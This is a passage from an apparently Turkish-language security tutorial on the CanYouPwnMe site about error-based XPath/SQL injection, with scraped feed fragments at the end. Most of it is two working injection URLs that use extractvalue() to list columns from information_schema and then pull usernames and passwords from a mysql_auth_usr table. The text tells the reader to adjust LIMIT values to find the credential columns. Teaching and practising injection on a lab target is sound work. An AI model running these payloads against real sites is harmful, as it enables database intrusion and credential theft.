http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,column_name) from information_schema.columns limit 2525,1)))--

54CgW

 

İd kolonunu yansıttık.

Limit ayarlarını değiştirerek username ve passwordu da bulun.

Bu komut ile datayı yansıtacağım. mysql_auth_usr = database

Şunuda söyleyim 0x3a = : demektir.

http://www.canyoupwn.me/pwnme.php?id=1 and extractvalue(rand(),concat(0x3a,(select concat(0x3a,idx,0x3a,username,0x3a,password) from mysql_auth_usr)))--

54CgW

 

Gördüğünüz gibi id ve pass a ulaşmış olduk.

TR | XPath Injection CanYouPwnMe

]]>
https://canyoupwn.me/tr-xpath-injection/feed/ 0